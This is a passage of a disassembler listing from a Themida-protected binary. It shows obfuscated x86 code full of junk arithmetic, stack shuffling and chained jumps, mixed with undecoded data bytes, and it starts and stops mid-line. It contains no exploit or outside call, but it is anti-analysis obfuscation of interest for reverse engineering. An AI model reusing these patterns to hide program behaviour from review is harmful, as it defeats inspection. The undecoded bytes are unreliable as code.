0E4C0D4F6h, 0B6B35303h, 305BDC28h, 0B0C2E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552162: ; CODE XREF: Themida_:0055B150j mov [esp], edx mov edx, esp add edx, 4 push 2308h mov [esp], esi mov esi, 312F75DCh add esi, 791D0901h add esi, 55B38127h jmp loc_55D6DE ; --------------------------------------------------------------------------- db 8Bh dd 3CE9240Ch, 66000072h, 0E924148Bh, 0D5D5h, 9C2404FFh dd 0FDBBE9h, 24142900h, 0A5240481h, 0E96CA355h, 6367h dd 0B7241C89h, 9CA8E921h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5521BE: ; CODE XREF: Themida_:00553D9Fj mov edx, 77BF5D97h sub edx, 66DF2B54h push edx xchg edi, [esp] jmp loc_565319 ; --------------------------------------------------------------------------- dw 0FB89h dd 7AEB815Fh, 0C1434562h, 0E38103E3h, 82676F6h, 5BC8CB81h dd 0E3810B40h, 0C2E15ECh, 15C4EB81h, 0DF010800h, 19ECE95Bh dd 0CBFE0001h, 321BE9h db 0 ; --------------------------------------------------------------------------- loc_552205: ; CODE XREF: Themida_:00562B30j pop esp add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push ebp mov ebp, 576A5A8Ah sub dword ptr [esp+4], 7A177F10h add dword ptr [esp+4], 1BBF30A6h add [esp+4], ebp sub dword ptr [esp+4], 1BBF30A6h jmp loc_55BE30 ; --------------------------------------------------------------------------- loc_552239: ; CODE XREF: Themida_:00558174j pop ebp add edx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add edx, eax push esi mov esi, 5B68364Ch sub edx, esi pop esi jmp loc_55E93E ; --------------------------------------------------------------------------- dw 895Ch dd 0E389241Ch, 2AB3E957h db 1, 0 ; --------------------------------------------------------------------------- loc_55226E: ; CODE XREF: Themida_:0055398Ej add esi, 0FFFFFFFFh shr esi, 8 push esi neg dword ptr [esp] pop esi add esi, 557B0EB4h jmp loc_551C3C ; --------------------------------------------------------------------------- db 0B8h dd 54255104h, 3158C131h, 0E9C831C1h, 14D7h, 83242C8Bh dd 0AE904C4h, 890000EAh, 2B9240Ch, 0E9000000h, 0CA57h ; --------------------------------------------------------------------------- loc_5522B0: ; CODE XREF: Themida_:0055B6B4j pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp and eax, ebx jmp loc_55AEF8 ; --------------------------------------------------------------------------- dw 0E950h dd 0F062h ; --------------------------------------------------------------------------- loc_5522C8: ; CODE XREF: Themida_:00562979j pop esp or edx, eax shl edx, 1 push ecx jmp loc_561B6C ; --------------------------------------------------------------------------- loc_5522D3: ; CODE XREF: Themida_:0055B0D7j push esi jmp loc_564D95 ; --------------------------------------------------------------------------- loc_5522D9: ; CODE XREF: Themida_:0056555Bj mov esp, [esp] jmp loc_555593 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0F5h dd 44FE2EB5h, 8744C581h, 73E91984h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522F3: ; CODE XREF: Themida_:00564048j mov esp, [esp] mov [esp], ecx jmp loc_55C43A ; --------------------------------------------------------------------------- dw 0F581h dd 6BAF6D34h, 685DEB89h, 3BF8h, 21E2E9h, 0C3EB8100h, 0E95BF57Bh dd 0A89Ch ; --------------------------------------------------------------------------- loc_55231C: ; CODE XREF: Themida_:00556529j xor edi, 68530E7Fh shr edi, 4 jmp loc_563E22 ; --------------------------------------------------------------------------- dw 34FFh aL4St db '$▀4$И▓,',0 db 0 ; --------------------------------------------------------------------------- loc_552335: ; CODE XREF: Themida_:005517EAj add esp, 4 add esp, 4 add edi, 5CB60FE7h jmp loc_5650EA ; --------------------------------------------------------------------------- dw 1431h aSt_0 db '$ИTи',0 align 2 loc_55234E: ; CODE XREF: Themida_:00561484j push 6B372668h pop ebp push esi mov esi, 6B372664h sub ebp, esi pop esi push esi mov esi, 3AD450F5h and esi, 7E6B2DBEh xor esi, 0BFF62FFh sub ecx, esi jmp loc_55514A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 213FF681h, 87E933B3h db 0E8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552387: ; CODE XREF: Themida_:005580F3j sub dword ptr [esp], 33097609h mov eax, [esp] push edx jmp loc_5638CA ; --------------------------------------------------------------------------- aBaMHb db '│М╫M[ hb`',0 align 2 dw 3C89h dd 7CCFBF24h, 0EFC144A1h, 80CF8105h, 816D6E0Bh, 0B781ECFh dd 9EC7812Ch, 81129549h, 5EB068F7h, 8BC581C7h, 179DB24h dd 8BED81FDh, 5F79DB24h, 2714BE56h, 0D14E6D3Dh, 590BE9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5523E2: ; CODE XREF: Themida_:00557BDDj push dword ptr [esp] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp or edx, eax jmp loc_562556 ; --------------------------------------------------------------------------- loc_5523FD: ; CODE XREF: Themida_:0055337Aj neg esi add esi, 629AC2D4h shl esi, 5 jmp loc_5527A7 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0BBE9D6F7h, 56000134h, 985722BEh, 0BA7CE90Eh, 0C3FE0000h dd 804BF380h, 0DD00C2C5h, 28626866h, 241C8966h, 51E9DCB3h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55243B: ; CODE XREF: Themida_:0055BB28j push ebp jmp loc_556749 ; --------------------------------------------------------------------------- loc_552441: ; CODE XREF: Themida_:0055E212j xor edi, [esp] jmp loc_558474 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0B2068h, 0EEDAE900h, 89660000h, 81B3241Ch, 1043AE9h dd 0D9885100h, 5B590888h, 592434FFh, 4EC81h, 7FE90000h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552477: ; CODE XREF: Themida_:00558306j mov esi, [esp] add esp, 4 mov ebx, [esp] jmp loc_55E30A ; --------------------------------------------------------------------------- dd 6EA3F281h, 0EA814C74h, 0C181C303h, 295AD589h, 0E3E95DEBh dd 530000ADh, 0DC2332BBh, 7DC2B93Eh, 0D931077Bh, 0F7D9F75Bh dd 3AB850D1h, 51FE65Bh, 19C103B1h, 7DAE9h, 0E9515600h dd 830Eh ; --------------------------------------------------------------------------- loc_5524C8: ; CODE XREF: Themida_:00554E34j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp shr ecx, 6 push 7F5h jmp loc_5580F0 ; --------------------------------------------------------------------------- dw 5105h dd 11A640Fh, 0F512DE8h, 0B051A64h, 0E9122A5Bh, 0FFFFF9CFh ; --------------------------------------------------------------------------- loc_5524F8: ; CODE XREF: Themida_:005620F6j pop edi add ecx, 1E714284h pop ebp add ecx, edi sub ecx, 79E65719h sub esp, 4 mov [esp], ebx mov ebx, 0 add ebx, ecx add eax, [ebx] pop ebx push dword ptr [esp] pop ecx add esp, 4 push 56D3h mov [esp], eax jmp loc_55F0BC ; --------------------------------------------------------------------------- dd 31241433h, 0ABE92414h, 8B000056h, 0C483241Ch, 24143304h dd 33241431h, 0FF5C2414h, 34FF2434h, 0C4815A24h, 4, 88DE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55255A: ; CODE XREF: Themida_:005630D3j push eax mov eax, 6A3E535Bh shr eax, 3 jmp loc_55C8DD ; --------------------------------------------------------------------------- aLSvc db '▀<$И┌≈',0 align 10h dd 0B80B1FBDh, 0E9EA8967h, 11A03h ; --------------------------------------------------------------------------- loc_55257C: ; CODE XREF: Themida_:00556B01j mov edi, 7A35433Dh sub [esp+8], edi pop edi add [esp+4], eax jmp loc_551362 ; --------------------------------------------------------------------------- loc_55258F: ; CODE XREF: Themida_:005583B9j xor eax, edx jmp loc_55D1FF ; --------------------------------------------------------------------------- dw 0E389h dd 1952E9h, 7EAC100h, 36E0EA81h, 0EA81071Eh, 576E3A57h dd 0E441E9h, 0E3F9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5525B6: ; CODE XREF: Themida_:005632F7j mov edx, 445B2FE5h inc edx xor edx, 2CD5610Eh or edx, 64094396h jmp loc_55D6C3 ; --------------------------------------------------------------------------- db 0F6h, 0D1h, 50h dd 405E089h, 81000000h, 4ECh, 8CB4E900h, 0D5090000h, 8268565Ah dd 8B42D236h, 89522434h, 0C52AE9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5525F6: ; CODE XREF: Themida_:005587CEj add edi, 2F2D4937h inc edi jmp loc_5633F8 ; --------------------------------------------------------------------------- dw 0F001h dd offset dword_52A048+6A1h dd 0F7E95600h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55260F: ; CODE XREF: Themida_:00557B8Aj dec ebp jmp loc_563191 ; --------------------------------------------------------------------------- db 68h, 0BBh, 32h dd 8F540000h, 0B8502404h, 4, 4244401h, 0E924048Bh, 0DB44h ; --------------------------------------------------------------------------- loc_552630: ; CODE XREF: Themida_:0055D419j xor [esp], edx xor edx, [esp] pop esp mov [esp], ax jmp loc_5509AF ; --------------------------------------------------------------------------- loc_552640: ; CODE XREF: Themida_:0055FD1Dj xor ch, 3 jmp loc_5578C3 ; --------------------------------------------------------------------------- dd 26F15BEh, 5EF53173h, 48EDC581h, 0DDF737E8h, 0C829E9h dd 24043100h, 0FFF3C3E9h, 4C681FFh, 81000000h, 4C6h, 24348700h dd 6824248Bh, 2A7Fh, 0E9240C89h, 430h, 0FFE326E9h, 2683BBFFh dd 0B4057CBBh, 816D2A78h, 4ECh, 0F546E900h, 34FFFFFFh dd 3BE95824h, 83000058h, 48904ECh, 7C79B824h, 560D7A0Eh dd 35405351h, 76E02C7Ch, 89E9D0F7h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5526C3: ; CODE XREF: Themida_:00559B30j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5658CA ; --------------------------------------------------------------------------- dd 19F2E952h, 535D0001h, 7873E7BBh, 0F13AE96Ah, 2C890000h dd 0FEE95424h, 1000021h, 242C8BEAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_555F11 ; --------------------------------------------------------------------------- loc_552700: ; CODE XREF: Themida_:00553F6Fj push ecx jmp loc_564690 ; --------------------------------------------------------------------------- loc_552706: ; CODE XREF: Themida_:0055C893j pop edx jmp loc_5607C1 ; --------------------------------------------------------------------------- dd 88E9D701h db 0EBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552713: ; CODE XREF: Themida_:00562E2Fj add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55E656 ; --------------------------------------------------------------------------- byte_552731 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550850o dd 9F1E9h, 7B676800h, 4890000h, 85B65224h, 148BF488h, 4C48324h dd 0D87CE9h, 40500h, 4050000h, 0E9000000h, 69E6h ; --------------------------------------------------------------------------- loc_552760: ; CODE XREF: Themida_:00558AC3j xor esi, [esp] xor [esp], esi mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor [esp], ebp xor ebp, [esp] xor [esp], ebp push dword ptr [esp] jmp loc_55B283 ; --------------------------------------------------------------------------- aIusu db '┴ЦИ⌠е',0 align 4 dword_552794 dd 24048B66h, 4EC81h, 2C890000h, 14E95424h ; DATA XREF: Themida_:005506E8o db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5527A7: ; CODE XREF: Themida_:00552408j push 5B5Ah mov [esp], ebp push esi mov esi, 588A0B61h mov ebp, 21F44516h jmp loc_55513A ; --------------------------------------------------------------------------- db 83h dd 5D042404h, 4C581h, 0C5810000h, 4, 0BB08E9h, 0C6015A00h dd 5D545558h, 180CE9h, 4C28100h, 81000000h, 4C2h, 24148700h dd 0F9AAE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5527F6: ; CODE XREF: Themida_:005583A0j and ebx, esi pop esi push edx jmp loc_554127 ; --------------------------------------------------------------------------- db 66h dd 51241489h, 8904EC83h, 5CB02404h, 48BC588h, 4C48324h dd 125B4E9h db 0 ; --------------------------------------------------------------------------- loc_552819: ; CODE XREF: Themida_:0055D6FAj pop edx jmp loc_55E98C ; --------------------------------------------------------------------------- byte_55281F db 66h ; DATA XREF: Themida_:005507D0o dd 6824048Bh, 7AB6h, 0E9240489h, 11964h ; --------------------------------------------------------------------------- loc_552830: ; CODE XREF: Themida_:0055E3E5j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and ecx, esi mov esi, [esp] jmp loc_558D3A ; --------------------------------------------------------------------------- db 57h, 0BFh, 0A7h dd 94BE629h, 0BD18E9FBh, 0CB800000h, 5CEAE93Bh, 835A0000h dd 626804EFh, 0E900001Ah, 0C55Fh, 1C3DBF57h, 0E9552516h dd 1C7h, 5376FEB8h, 0E9C6010Ah, 11080h, 5304C483h, 0C3815B54h dd 4, 8704EB83h, 895C241Ch, 0DEB5240Ch, 0E580CDFEh, 0DACD8034h dd 8008C580h, 4DE90FC5h, 89000036h, 98F6E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5528B6: ; CODE XREF: Themida_:00565A2Aj mov esp, [esp] or edx, eax shl edx, 1 push ebx push ecx mov ecx, 5609799Ch mov ebx, 0BB34C0D3h jmp loc_5538DA ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFE0DBh, 0E9242C89h, 10C35h, 5C243C87h, 103A1E9h db 0 ; --------------------------------------------------------------------------- loc_5528E5: ; CODE XREF: Themida_:00551B94j mov [esp], edi mov edi, 1 and eax, edi mov edi, [esp] push edx push esp pop edx add edx, 4 push ecx mov ecx, 22A856E3h xor ecx, 52CD4DBAh push ebp mov ebp, 26649D0h add ebp, 9910E0Bh xor ebp, 59AC56B0h dec ebp xor ebp, 52FC06E4h add ecx, ebp jmp loc_560E80 ; --------------------------------------------------------------------------- loc_552927: ; CODE XREF: Themida_:0055835Bj push eax push esi push 7CF4444Ch mov esi, [esp] add esp, 4 shr esi, 3 shr esi, 2 xor esi, 6F31CAE3h push ebx mov ebx, esi jmp loc_564F3A ; --------------------------------------------------------------------------- db 33h dd 895C241Ch, 0C3682404h, 89000078h, 4832424h, 68580424h dd 541Dh, 0E9242C89h, 5AF3h, 3FFF3568h, 241C8BE9h, 4C481h dd 0C3810000h, 73BB53F3h, 6857D301h, 52F9158Dh, 0FFE7D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55298D: ; CODE XREF: Themida_:0055473Cj push ecx mov ecx, 1 add eax, ecx jmp loc_563E4D ; --------------------------------------------------------------------------- loc_55299A: ; CODE XREF: Themida_:005573BDj add edx, 4 jmp loc_556534 ; --------------------------------------------------------------------------- a1SL db '1аИмL',0 align 4 dd 0FFDFFEE9h, 2474FFFFh, 4568E904h, 912D0000h, 501F325h dd 477161D9h, 5825E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5529CA: ; CODE XREF: Themida_:00559CE2j pop esi jmp loc_563337 ; --------------------------------------------------------------------------- loc_5529D0: ; CODE XREF: Themida_:00556325j mov edi, 4F2E6FE3h sub edi, 653A3B71h neg edi add edi, 83380C8h add ecx, edi pop edi push ebp mov ebp, 55E52B45h add ecx, ebp pop ebp jmp loc_5631B1 ; --------------------------------------------------------------------------- loc_5529F4: ; CODE XREF: Themida_:0056517Dj add [esp+4], eax pop eax pop esi jmp loc_55DE6C ; --------------------------------------------------------------------------- db 1 dd 2887E9FBh, 87580001h, 535C241Ch, 0CC3626BBh, 0EAEB8103h dd 0C12FAE74h, 0E0E902E3h, 68000088h, 2B1Fh, 436CE9h db 0 ; --------------------------------------------------------------------------- loc_552A29: ; CODE XREF: Themida_:0055622Cj mov edx, esp jmp loc_56392F ; --------------------------------------------------------------------------- dd 0E924048Bh, 65A6h, 4FE9CA29h, 0BD000068h, 4590A31h dd 815DEF01h, 0E657EC7h, 22C0E96Eh, 0DBF70000h, 4747E9h dd 0D8296600h, 5665B66h, 29661795h, 0BD6655D0h, 81661216h dd 66FA81EDh, 665DE829h, 6620D905h, 0E934B605h, 0FFFFF713h ; --------------------------------------------------------------------------- loc_552A80: ; CODE XREF: Themida_:00557943j pop ebx jmp loc_559DE6 ; --------------------------------------------------------------------------- dw 0B9BDh dd 292C4D68h, 12E95DE8h, 800000C1h, 0CBFEA5F3h, 78E9CBFEh dd 5D00002Dh, 6AEB8143h, 8114A18Fh, 45701CE9h, 0E9D90124h dd 10415h, 0BB36A5B9h, 1CF4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552ABE: ; CODE XREF: Themida_:00551FD6j pop ecx sub esp, 4 mov [esp], edx mov edx, 2 add esi, 50C4788Eh add esi, 354E68DBh add esi, 267140ACh add esi, edx jmp loc_55A083 ; --------------------------------------------------------------------------- db 89h dd 0BB53240Ch, 3F981BF7h, 8108EBC1h, 7C9BD7C3h, 73DAB928h dd 0AAE93211h, 500000F3h, 2C5A5868h, 0FBECE900h, 8B5F0000h dd 0C4812414h, 4, 3C8BF801h, 4C48324h, 31240433h, 4332404h dd 66E9E924h, 0CA090000h, 83240C8Bh, 814A04C4h, 0F371B3EAh dd 8BD6090Bh, 0C4832414h, 4EC8104h, 89000000h, 0A5BD242Ch dd 0E95EB22Fh, 128FEh ; --------------------------------------------------------------------------- loc_552B54: ; CODE XREF: Themida_:00558587j add esp, 4 xor ebp, [esp] jmp loc_55E45E ; --------------------------------------------------------------------------- dw 0AAB9h dd 0F74EFE4Eh, 39E981D9h, 0E9D536EEh, 78AAh, 34FF535Ch dd 0D6685824h, 89000029h, 46E92414h, 53000116h, 0D34CE9h db 0 byte_552B8D db 66h, 0ADh, 66h ; DATA XREF: Themida_:00550808o dd 31BB6653h, 8C056665h, 0D801665Eh, 5E8C2D66h, 241C8B66h dd 6602C483h, 5566D801h, 28AC68h, 241C8900h, 93BDE9h db 0 ; --------------------------------------------------------------------------- loc_552BB9: ; CODE XREF: Themida_:00563742j add esp, 4 jmp loc_561E1A ; --------------------------------------------------------------------------- dd 0CE9CD01h, 0C0000094h, 0EB8005EBh, 0D3B9E9CDh, 0FF520000h dd 0E9042474h, 0D5A0h, 35E9D331h db 0E6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552BE7: ; CODE XREF: Themida_:005593DCj push dword ptr [esp] pop edi sub esp, 4 jmp loc_557AD4 ; --------------------------------------------------------------------------- dw 0ACBEh dd 291EA87Dh, 0F0015EF0h, 0A87DAC05h, 24348B1Eh, 4C481h dd 0EC810000h, 4, 57241489h, 0C57D3068h, 612E929h, 0C5830000h dd 242C8704h, 2C2835Ch, 2474FF52h, 2434FF04h, 8324148Bh dd 895304C4h, 0F1F2E9E3h db 2 dup(0) word_552C42 dw 34FFh ; DATA XREF: Themida_:00550854o dd 2434FF24h, 4C48358h, 4EC81h, 0A6E90000h, 0BB0000F0h dd 7EFB5567h, 8108EBC1h, 4CB715F3h, 0E9DE013Ah, 0CE17h dd 1BAFE95Bh, 0CF810000h, 231A552Ch, 0E94FD7F7h, 4C1Eh dd 68241C89h, 3865h, 81242489h, 42404h, 835B0000h, 34E904ECh dd 31000003h, 0CA0158C1h, 6CA5E9h db 0 ; --------------------------------------------------------------------------- loc_552CA5: ; CODE XREF: Themida_:00565A0Dj sub esi, ebx pop ebx add esi, eax add esi, 43077B39h pop eax sub esp, 4 mov [esp], ecx mov ecx, 4 push ebx mov ebx, 40C00A87h add esi, ebx pop ebx sub esi, ecx sub esi, 40C00A87h jmp loc_5588A9 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1830000h, 74FF5104h, 8F590424h, 93E92404h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552CEB: ; CODE XREF: Themida_:0055E3B5j or edi, 0A533AEFh not edi jmp loc_55F6F2 ; --------------------------------------------------------------------------- dd 1AA7F181h, 0E1D17AEDh, 6C44BF57h, 0F9313342h, 25ACE9h db 0 ; --------------------------------------------------------------------------- loc_552D0D: ; CODE XREF: Themida_:00561B3Cj add esi, eax push dword ptr [esp] pop eax jmp loc_56021E ; --------------------------------------------------------------------------- dd 1BBE565Ch, 8163AC5Ah, 897749EEh, 0D0F68116h, 0E94D22E2h dd 12B31h ; --------------------------------------------------------------------------- loc_552D30: ; CODE XREF: Themida_:00559ED6j add edx, 4 jmp loc_562B27 ; --------------------------------------------------------------------------- dd offset aStringer ; "Stringer" db 0E8h dd 52E80059h, 8671E9h, 4EC8300h, 0B8240489h, 4, 9AECE9h db 0 ; --------------------------------------------------------------------------- loc_552D59: ; CODE XREF: Themida_:0055B2DBj pop esp jmp loc_561470 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 17C28104h, 502A5105h, 0EA7C6AB8h, 176BE912h dd 0F1810001h, 17324925h, 0E959CE29h, 35F2h, 0E957EE29h dd 0FFFFF29Dh, 0C281C201h, 6F6119DEh, 67EDEA81h, 48B29FDh dd 4C48124h, 50000000h, 444F9AB8h, 8E8C129h, 0C6E9D0F7h dd 570000C0h, 3871B951h, 0A1E96D0Ch db 27h, 1, 0 ; --------------------------------------------------------------------------- loc_552DBF: ; CODE XREF: Themida_:00561F9Ej xchg esi, [esp] jmp loc_561B2E ; --------------------------------------------------------------------------- loc_552DC7: ; CODE XREF: Themida_:00564137j mov [esp], edi xchg eax, [esp] not eax push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 jmp loc_556983 ; --------------------------------------------------------------------------- db 89h dd 4BE56E5h, 51000000h, 0FFE3BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_552DF5: ; CODE XREF: Themida_:0055CB5Ej mov ebp, 27344EAAh or ebp, 7EA47AC5h shl ebp, 6 jmp loc_5544A1 ; --------------------------------------------------------------------------- loc_552E08: ; CODE XREF: Themida_:0055AACDj add esp, 4 push ebx sub esp, 4 mov [esp], edx push dword ptr [esp] pop ebx add esp, 4 mov edx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_562549 ; --------------------------------------------------------------------------- dw 0BA52h dd 0AB0F191Fh, 0BC2BE9h db 0 ; --------------------------------------------------------------------------- loc_552E45: ; CODE XREF: Themida_:005555A5j and eax, esi pop esi jmp loc_5510A5 ; --------------------------------------------------------------------------- db 68h, 1Bh, 5 dd 34890000h, 12A5E924h, 89570001h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 1C0835Ch, 4D603335h, 46C68193h, 176342Ah dd 0BE5650C6h, 23584DCBh, 0C22EC681h, 0F08932ADh, 8124348Bh dd 4C4h, 4DBD5500h, 1202E1Ah, 0C6815DE8h, 590C67A5h, 0EE81C629h dd 590C67A5h, 18E95858h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552EB3: ; CODE XREF: Themida_:00564B85j xor ebx, edx pop edx mov [edi+20h], ebx mov ebx, [esp] add esp, 4 loc_552EC2: ; CODE XREF: Themida_:00551F7Aj ; Themida_:0055C246j mov ebx, [esp] push 118h mov [esp], ebp mov ebp, esp push ecx jmp loc_55D0D6 ; --------------------------------------------------------------------------- loc_552ED5: ; CODE XREF: Themida_:0055774Dj mov [esp], ebx pop eax pop ebx push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_5548B6 ; --------------------------------------------------------------------------- loc_552EEE: ; CODE XREF: Themida_:00565208j add ebx, 0F3509F0h push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_55BF4E ; --------------------------------------------------------------------------- dd 8006E5C0h, 0F4045EEDh, 1AE9E828h, 0F700010Eh, 0BB534ADAh dd 31170F87h, 815BDA01h, 461722C2h, 0E8DFE952h db 2 dup(0) word_552F32 dw 8B66h ; DATA XREF: Themida_:005506F8o dd 8956240Ch, 0E68956E6h, 1160DE9h db 0 ; --------------------------------------------------------------------------- loc_552F41: ; CODE XREF: Themida_:00564C41j add ebp, ebx pop ebx add ebp, 4 jmp loc_55D6FF ; --------------------------------------------------------------------------- db 81h dd 1E0016C1h, 59CE0134h, 26851h, 20E90000h, 5C000060h dd 52240489h, 0BCFEE9h, 4C68100h, 87000000h, 248B2434h dd 0DA31E924h, 0C329FFFFh, 0E904EC83h, 0F8E1h ; --------------------------------------------------------------------------- loc_552F88: ; CODE XREF: Themida_:005613B5j shr ebp, 7 shl ebp, 5 xor ebp, 406CBC1h jmp loc_560F85 ; --------------------------------------------------------------------------- loc_552F99: ; CODE XREF: Themida_:005644ADj push ebx jmp loc_5642C9 ; --------------------------------------------------------------------------- loc_552F9F: ; CODE XREF: Themida_:0055F4FFj sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55E95D ; --------------------------------------------------------------------------- aYS db 'Y[И{р',0 dd 243C8900h, 777EDB68h, 2434FF24h, 4C4835Fh, 0F751CF87h dd 0F3E92414h, 89FFFFDDh, 4BF243Ch, 1000000h, 243C8BFBh dd 0DDEFE9h, 4BD3F700h, 0B53EF381h, 0DA21C90Fh, 10F2815Bh dd 1449836h, 0EB815AD3h, 4, 100B1E9h db 0 ; --------------------------------------------------------------------------- loc_553001: ; CODE XREF: Themida_:0055B3CFj mov edx, 0BF65E7FFh add esi, edx pop edx sub [edi+24h], esi push dword ptr [esp] pop esi jmp loc_559AD4 ; --------------------------------------------------------------------------- loc_553015: ; CODE XREF: Themida_:005517FEj mov esi, 276E7941h add ebx, esi pop esi add ebx, 748C0BCEh push dword ptr [ebx] push ebx mov ebx, 4CE171E9h sub [esp+4], ebx pop ebx pop ecx jmp loc_5554AE ; --------------------------------------------------------------------------- dw 0EA81h dd 7D13774Ah, 34FFD301h, 4693E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553046: ; CODE XREF: Themida_:0055C6C9j push small 268Ch jmp loc_55713F ; --------------------------------------------------------------------------- db 83h dd 0F20104C4h, 113CBE9h, 4BF5700h, 81000000h, 1C0753EAh dd 81FA015Fh, 1C0753C2h, 1AE95F5Fh, 81FFFFDAh, 512439C3h dd 5BDE89B2h, 77F0B850h, 0E0C10279h, 63354007h, 40488A57h dd 212DE9h, 4EC8300h, 68241C89h, 4D004D49h, 6E3C15Bh, 7E69CB81h dd 0E3C14194h, 6EF38106h, 148D9D9h, 2434FFDFh, 2B92E95Bh dd 0C4810001h, 4, 0EB80C328h, 378F6825h, 14890000h, 51E0B224h dd 0DFE9E3B1h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5530D7: ; CODE XREF: Themida_:0055514Bj sub ecx, 293F3CA1h add ecx, ebp jmp loc_55A446 ; --------------------------------------------------------------------------- loc_5530E4: ; CODE XREF: Themida_:00553A19j mov ebp, 48997029h sub ebp, 48997025h mov esi, ebp pop ebp sub esp, 4 mov [esp], ebx push ebp mov ebp, 76DE2667h mov ebx, 89282A36h add ebx, ebp mov ebp, [esp] add esp, 4 inc ebx jmp loc_5535FF ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 83000000h, 0C8704C1h, 0A12FE924h, 48B0000h dd 4C48124h, 81000000h, 4ECh, 24048900h, 2959E954h, 0EF810000h dd 0FF9281CFh, 15FF989h, 505553C1h, 2C1C7468h, 51355842h dd 0E93B813Ch, 12B01h, 0E95AF188h, 12927h, 90AC681h, 835A05F9h dd 3C8904ECh, 106C6824h, 0A7E90000h db 1Dh, 2 dup(0) byte_55317F db 66h ; DATA XREF: Themida_:0055083Co dd 6824048Bh, 307Ah, 56240489h, 0C681E689h, 4, 4EE81h dd 34330000h, 24343124h, 8B243433h, 24892424h, 4BF5724h dd 1000000h, 5F04247Ch, 582434FFh, 110DEE9h, 7EEC100h dd 58CBEE81h, 0E6C167C1h, 0D6F74E02h, 4356C681h, 0F231D805h dd 68C2815Eh, 0E96F7040h, 97F3h, 493374BEh, 4289E911h dd 0BE560000h, 6E2F0B51h, 9CD1E9h db 0 ; --------------------------------------------------------------------------- loc_5531F5: ; CODE XREF: Themida_:0056233Ej mov [esp], ebp mov ebp, 0D3FF0E45h xor eax, ebp pop ebp add edx, 7C9849ECh jmp loc_55178A ; --------------------------------------------------------------------------- db 53h dd 0C3815B54h, 4, 4B951h, 0CB010000h, 241C8759h, 1058DE9h dd 4B800h, 0C2890000h, 0E9D30158h, 250Bh, 4BE7815Fh, 81561D0Eh dd 0A9032AEFh, 0BB5BE991h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553246: ; CODE XREF: Themida_:0055B5C9j sub ebp, ecx pop ecx jmp loc_5635E3 ; --------------------------------------------------------------------------- loc_55324E: ; CODE XREF: Themida_:0055910Ej mov ebx, 19047202h xor ebx, 653E0A8Ch shl ebx, 1 inc ebx jmp loc_552001 ; --------------------------------------------------------------------------- db 52h, 83h, 0ECh dd 242C8904h, 0C581E589h, 4, 4BB53h, 0DD290000h, 242C875Bh dd 12846E9h db 0 ; --------------------------------------------------------------------------- loc_553281: ; CODE XREF: Themida_:00562FB8j xor edi, [esp] jmp loc_55C9CA ; --------------------------------------------------------------------------- loc_553289: ; CODE XREF: Themida_:00557887j mov [esp], eax push edx push 45CD3D82h mov edx, [esp] add esp, 4 push eax mov eax, 172C0F6Fh shl eax, 2 push 2E17h mov [esp], edx mov edx, 58173863h shl edx, 5 push eax jmp loc_554695 ; --------------------------------------------------------------------------- loc_5532B7: ; CODE XREF: Themida_:00558E7Aj add ebx, edi pop edi jmp loc_565279 ; --------------------------------------------------------------------------- db 31h dd 0CD295FF9h, 1073AE9h, 59CB2900h, 6671E9h db 0 ; --------------------------------------------------------------------------- loc_5532D1: ; CODE XREF: Themida_:00562845j mov esi, 454C4A5Bh xor ebx, esi pop esi jmp loc_55589B ; --------------------------------------------------------------------------- dw 3C89h dd 2EBCBF24h, 0C78107AEh, 0AB37CB6h, 0E907EFC1h, 